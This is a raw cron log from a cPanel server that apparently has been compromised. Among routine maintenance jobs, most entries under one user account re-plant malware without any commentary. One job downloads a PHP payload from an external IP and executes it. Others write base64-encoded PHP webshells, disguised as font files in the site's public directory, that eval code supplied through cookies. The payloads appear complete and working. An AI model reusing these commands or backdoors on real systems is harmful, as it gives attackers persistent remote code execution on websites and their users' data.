Sep 11 03:44:01 ip-184-168-122-23 CROND[24444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:45:01 ip-184-168-122-23 CROND[24566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:45:01 ip-184-168-122-23 CROND[24570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:45:01 ip-184-168-122-23 CROND[24569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:45:01 ip-184-168-122-23 CROND[24567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:45:01 ip-184-168-122-23 CROND[24568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:45:01 ip-184-168-122-23 CROND[24571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:46:01 ip-184-168-122-23 CROND[24681]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24683]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:46:01 ip-184-168-122-23 CROND[24686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:47:01 ip-184-168-122-23 CROND[24789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:47:01 ip-184-168-122-23 CROND[24790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:47:01 ip-184-168-122-23 CROND[24793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:47:01 ip-184-168-122-23 CROND[24794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:48:02 ip-184-168-122-23 CROND[24888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:48:02 ip-184-168-122-23 CROND[24890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:48:02 ip-184-168-122-23 CROND[24893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:48:02 ip-184-168-122-23 CROND[24892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:48:02 ip-184-168-122-23 CROND[24891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:49:01 ip-184-168-122-23 CROND[24974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:49:01 ip-184-168-122-23 CROND[24975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:49:01 ip-184-168-122-23 CROND[24977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:49:01 ip-184-168-122-23 CROND[24978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:50:01 ip-184-168-122-23 CROND[25177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:50:01 ip-184-168-122-23 CROND[25176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:50:01 ip-184-168-122-23 CROND[25182]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:51:01 ip-184-168-122-23 CROND[25306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:51:01 ip-184-168-122-23 CROND[25307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:51:01 ip-184-168-122-23 CROND[25309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:51:01 ip-184-168-122-23 CROND[25312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:52:01 ip-184-168-122-23 CROND[25419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:52:01 ip-184-168-122-23 CROND[25420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:52:01 ip-184-168-122-23 CROND[25424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:52:01 ip-184-168-122-23 CROND[25423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:52:01 ip-184-168-122-23 CROND[25422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:53:01 ip-184-168-122-23 CROND[25534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:53:01 ip-184-168-122-23 CROND[25533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:53:01 ip-184-168-122-23 CROND[25536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:53:01 ip-184-168-122-23 CROND[25535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:54:01 ip-184-168-122-23 CROND[25623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:54:01 ip-184-168-122-23 CROND[25626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:54:01 ip-184-168-122-23 CROND[25625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:54:01 ip-184-168-122-23 CROND[25627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:54:01 ip-184-168-122-23 CROND[25628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:55:01 ip-184-168-122-23 CROND[25721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:55:01 ip-184-168-122-23 CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:55:02 ip-184-168-122-23 CROND[25725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:55:02 ip-184-168-122-23 CROND[25727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:55:02 ip-184-168-122-23 CROND[25728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:55:02 ip-184-168-122-23 CROND[25729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:56:01 ip-184-168-122-23 CROND[25906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:56:01 ip-184-168-122-23 CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:56:01 ip-184-168-122-23 CROND[25911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:56:01 ip-184-168-122-23 CROND[25909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:56:01 ip-184-168-122-23 CROND[25910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:57:01 ip-184-168-122-23 CROND[26025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
